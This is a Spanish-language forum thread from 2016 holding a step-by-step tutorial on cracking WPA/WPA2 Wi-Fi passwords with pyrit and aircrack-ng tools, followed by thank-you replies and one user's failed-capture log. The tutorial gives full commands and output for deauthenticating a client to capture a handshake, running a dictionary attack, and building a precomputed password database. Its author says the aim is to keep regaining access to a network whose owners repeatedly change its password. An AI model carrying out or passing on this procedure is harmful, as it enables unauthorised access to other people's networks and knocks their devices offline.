Base de Datos con pyrit para atacar WPA/WPA2

Iniciado por t0n4, Enero 05, 2016, 05:00:46 PM

Tema anterior - Siguiente tema

0 Miembros y 2 Visitantes están viendo este tema.

 Hola a toda la comunidad underc0de, hace ya algun tiempo que visito el foro y creo que ya es hora de hacer un aporte a la comunidad, este es mi primer post y quiero compartir con la comunidad este tutorial basico de pyrit(una exelente herramienta para el cracking de passwords WPA/WPA2), la cual viene instalada por defecto en Kali-Linux 2.0. Espero les sea de utilidad.

 
  Estas son las obciones que estaremos utilizando en este tutorial:

  Uso: pyrit [opciones] commando

opciones:
  -b               : Filtrar APs por su direccion mac (BSSID)
  -e               : Filtrar APs por su nombre (ESSID)
  -h               : Muestra ayuda para usar un comando
  -i               : Archivo de entrada (stdin)
  -o               : Archivo de salida (stdout)
  -r               : Archivos capturados en formato pcap
   
commandos:
  analyze                 : Analizar un paquete capturado
  attack_db               : Lanzar ataque a un handshake desde la base de datos
  attack_passthrough      : Lanzar ataque a un handshake desde un archivo de texto
  batch                   : Procesar cambios en la Base de datos
  check_db                : Chequear la base de datos en busca de errores
  create_essid            : Crear un nuevo ESSID
  delete_essid            : Borrar un ESSID de la base de datos
  eval                    : Muestra informacion de la base de datos
  import_passwords        : Importar passwords desde un archivo
  list_essids             : Muestra lista de los ESSIDs en la base de datos
  strip                   : Extrar los paquetes importantes de un archivo (handshakes)
  stripLive               : Capturar paquetes
 

     
1.1-Para iniciar corremos "airmon-ng check kill all" para asegurarnos de que no alla ningun proceso que se nos interponga en medio:
------------------------------------------------------------------------------------------------------------------------
root@h4cksp4c3:~# airmon-ng check kill all
Killing these processes:

  PID Name
  645 NetworkManager
  844 wpa_supplicant
------------------------------------------------------------------------------------------------------------------------
1.2-iniciamos nuestra interfas en modo monitor:
------------------------------------------------------------------------------------------------------------------------
root@h4cksp4c3:~# airmon-ng start wlan0
No interfering processes found
PHY   Interface   Driver      Chipset

phy0   wlan0      ath9k      Qualcomm Atheros AR8384 Wireless Network Adapter (PCI-Express) (rev 01)
      (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
      (mac80211 station mode vif disabled for [phy0]wlan0)
------------------------------------------------------------------------------------------------------------------------

1.3-chequeamos que nuestra tarjeta inalambrica ahora esta en modo monitor:
------------------------------------------------------------------------------------------------------------------------
root@h4cksp4c3:~# ifconfig

wlan0mon  Link encap:UNSPEC  HWaddr 72-2D-86-D3-78-54-2B-40-00-00-00-00-00-00-00-00 
          UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI  MTU:1500  Metric:1
          RX packets:11354 errors:0 dropped:236 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1677901 (1.6 MiB)  TX bytes:0 (0.0 B)
------------------------------------------------------------------------------------------------------------------------

1.4-Corremos pyrit para comenzar la captura del handshake pasandole los siguentes parametros "pyrit -r <interfas> -o <archivo.cap> stripLive", pyrit solo va a salvarnos en el archivo.cap el handshake.
------------------------------------------------------------------------------------------------------------------------
root@h4cksp4c3:~# pyrit -r wlan0mon -o home.cap stripLive
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
This code is distributed under the GNU General Public License v3+

Parsing packets from 'wlan0mon'...
1/1: New AccessPoint 00:02:45:7A:B4:89 ('Home')
------------------------------------------------------------------------------------------------------------------------

1.5-Desconectando al cliente para obtener el handshake (aireplay-ng -0 <cantidad_de_veces> -a <mac_del_ap> -c <mac_del_cliente> <interfas>):
------------------------------------------------------------------------------------------------------------------------
root@h4cksp4c3:~# aireplay-ng -0 3 -a 00:02:45:7A:B4:89 -c 9C:2A:70:C4:E7:C7 wlan0mon
The interface MAC (72:2D:86:D3:78:54) doesn't match the specified MAC (-h).
   ifconfig wlan0mon hw ether 00:02:45:7A:B4:89
14:37:38  Waiting for beacon frame (BSSID: 00:02:45:7A:B4:89) on channel 1
14:37:38  Sending 64 directed DeAuth. STMAC: [9C:2A:70:C4:E7:C7] [21|68 ACKs]
14:37:39  Sending 64 directed DeAuth. STMAC: [9C:2A:70:C4:E7:C7] [ 6|79 ACKs]
14:37:39  Sending 64 directed DeAuth. STMAC: [9C:2A:70:C4:E7:C7] [16|71 ACKs]
-------------------------------------------------------------------------------------------------------------------------

1.6-Luego de desconectar el cliente y esperar a que el mismo se conecte otra ves, abrimos otro terminal para comprobar si tenemos un handshake valido en el archivo.cap que salvamos anteriormente, lo hacemos pasandole los siguientes parametros a pyrit "pyrit-r <archivo.cap> analyze":
-------------------------------------------------------------------------------------------------------------------------
pyrit -r home.cap analyze
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
This code is distributed under the GNU General Public License v3+

Parsing file 'home.cap' (1/1)...
Parsed 5 packets (5 802.11-packets), got 1 AP(s)

#1: AccessPoint 00:02:45:7A:B4:89 ('Home'):
  #1: Station 9C:2A:70:C4:E7:C7, 1 handshake(s):
    #1: HMAC_SHA1_AES, good, spread 1
-------------------------------------------------------------------------------------------------------------------------
Nota: como pueden ver tenemos un hanshake valido, asi que ya podemos parar la captura de paquetes.

1.7-Ya podemos proceder a desencriptar el password con pyrit mediante un ataque de diccionario, seria asi:
-------------------------------------------------------------------------------------------------------------------------
root@h4cksp4c3:~# pyrit -r home.cap -i passwords.txt -b 00:02:45:7A:B4:89 attack_passthrough
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
This code is distributed under the GNU General Public License v3+

Parsing file 'home.cap' (1/1)...
Parsed 5 packets (5 802.11-packets), got 1 AP(s)

Tried 3000 PMKs so far; 100 PMKs per second.

The password is '1234567890'.
----------------------------------------------------------------------------------------------------------------------------
NOTA: a 100 PMKs por segundo pyrit tardaria 100 segundos en probar 3000 posibilidades, pero la idea de este post es acelerar el proceso de crackeo verdad?

En ocaciones he tenido que hackear varias veces el password de una red porque cambian el mismo varias veces al mes y a veces cuando logro dar otra ves con el password ya lo han cambiado, para los que se han encontrado en alguna de estas situaciones, les traigo la solucion, "Base de tatos con pyrit", pyrit tiene la posibilidad de almacenar en su base de datos interna passwords pre-calculados al estilo "Rainbow Tables". La instalacion por defecto de pyrit viene con su base de datos en blanco, o sea que nosotros tenemos que crearla, lo cual nos da la posibilidad de agregar a dicha base de datos los diccionarios de nuestra preferencia y las redes que nos interesen(ESSIDs).


2- Acelerando el proceso de crackeo con pyrit desde la base de datos.

2.1-Para chequear el estado de la base de datos corremos "pyrit eval":
------------------------------------------------------------------------------------------------------------------------------
root@h4cksp4c3:~# pyrit eval
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Passwords available: 0
------------------------------------------------------------------------------------------------------------------------------

2.2-Como pueden ver la base de datos esta en blanco, para agregar passwords a nuestra base de datos corremos "pyrit -i <passwords> import_passwords":
------------------------------------------------------------------------------------------------------------------------------
root@h4cksp4c3:~# pyrit -i passwords.txt import_passwords
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...
3000 lines read. Flushing buffers....
All done.
------------------------------------------------------------------------------------------------------------------------------

2.3-Una ves agregados los passwords procedemos a agregar la red o las redes de nuestro interes "pyrit -e <nombre de la red> create_essid":
------------------------------------------------------------------------------------------------------------------------------
root@h4cksp4c3:~# pyrit -e Home create_essid
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...
Created ESSID 'Home'
------------------------------------------------------------------------------------------------------------------------------

2.4-Ya tenemos en la base de datos la informacion necesaria para proceder a pre-calcular los passwords de nuestra red, lo hacemos corriendo pyrit con el parametro batch:
------------------------------------------------------------------------------------------------------------------------------
root@h4cksp4c3:~# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'... connected.
Working on ESSID 'Home'
Processed all workunits for ESSID 'Home'; 200 PMKs per second.nd.
Batchprocessing done.
-------------------------------------------------------------------------------------------------------------------------------
NOTA: es importante destacar que este proceso puede tardar horas e incluso dias, en dependecia de la cantidad de passwords y de redes que agreguen a la base de datos y el rendimiento de su CPU, tambien podemos pausar este proceso cancelando la operacion con ctrl+c y luego reanudando el proceso corriendo "pyrit batch" (otra ves), el cual va a seguir donde se quedo.



2.5-Si chequeamos ahora el estado de nuestra base de datos podemos ver que la misma esta lista para ser usada:
-------------------------------------------------------------------------------------------------------------------------------
root@h4cksp4c3:~# pyrit eval
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Passwords available: 3000

ESSID 'Home'       : 3000 (100.00%)
--------------------------------------------------------------------------------------------------------------------------------


2.6-Para lanzar el ataque desde la base de datos corremos pyrit con los siguientes parametros "pyrit -r <ruta_del_handshake> -b <mac_del_ap> attack_db":
--------------------------------------------------------------------------------------------------------------------------------
root@h4cksp4c3:~# pyrit -r home-01.cap -b 00:02:45:7A:B4:89 attack_db
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Parsing file 'home-01.cap' (1/1)...
Parsed 5 packets (5 802.11-packets), got 1 AP(s)

Attacking handshake with Station 00:02:45:7A:B4:89...
Tried 24131614 PMKs so far (44.7%); 1379858 PMKs per second.

The password is '1234567890'.
--------------------------------------------------------------------------------------------------------------------------------
-Como pueden ver pyrit busca el password en su base de datos a una velocidad impresionante mas de 1 millon de passwords por segundo, la proxima ves que cambien el password es solo cuestion de segundos :). Pyrit tambien nos da la posibilidad de exportar la base de datos a un archivo para trabajar con cowpatty o airolib-ng, dedicare otro post a este tema. Espero allan disfrutado este pequeno tutorial.

    Saludos a toda la comunidad!!
"La Imaginación es más importante que el Conocimiento"

Muy buen aporte @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , como concejo te diría que complementes tu aporte con imágenes.

Saludos!

que bueno se agardeciria imagenes de como va el tema de base de datos

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy buen aporte @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , como concejo te diría que complementes tu aporte con imágenes.

Saludos!

Gracias por el comentario, tomare en cuenta tu consejo!

Saludos!
"La Imaginación es más importante que el Conocimiento"

Muy buena utilidad, la desconocía por completo
From Canary Islands

Mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

 Hola, tengo un problema al iniciar y crear el handshake con pyrit, les dejo mis datos.
Pd: probe con wlan1 y wlan0 ( tengo una antena conectada )

Código: php
root@lab:~# pyrit -r wlan1 -o handshake_pyrit.cap stripLive
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Parsing packets from 'wlan1'...
Failed to open 'wlan1' either as a file ('Failed to open file 'wlan1' (libpcap: wlan1: No such file or directory)') or as a device ('Failed to open device 'wlan1' (libpcap: wlan1: No such device exists (SIOCGIFHWADDR: No such device))')
root@lab:~# clear

root@lab:~# airmon-ng check kill all

You have entered an invalid channel "all" which will be ignored


root@lab:~# airmon-ng start wlan0


PHY Interface Driver Chipset

phy0 wlan0 ath9k Qualcomm Atheros AR9285 Wireless Network Adapter (PCI-Express) (rev 01)

(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
phy2 wlan1mon rtl8192cu

root@lab:~# ifconfig
eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 00:26:6c:d8:75:5e  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1  (Local Loopback)
        RX packets 164  bytes 11868 (11.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 164  bytes 11868 (11.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec E0-CA-94-57-1F-0B-30-30-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 37  bytes 11924 (11.6 KiB)
        RX errors 0  dropped 37  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan1mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec EC-08-6B-1F-F0-71-00-00-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 5996  bytes 1497764 (1.4 MiB)
        RX errors 0  dropped 5996  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@lab:~# pyrit -r wlan0 -o handshakepyrit.cap stripLive
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Parsing packets from 'wlan0'...
Failed to open 'wlan0' either as a file ('Failed to open file 'wlan0' (libpcap: wlan0: No such file or directory)') or as a device ('Failed to open device 'wlan0' (libpcap: wlan0: No such device exists (SIOCGIFHWADDR: No such device))')
root@lab:~#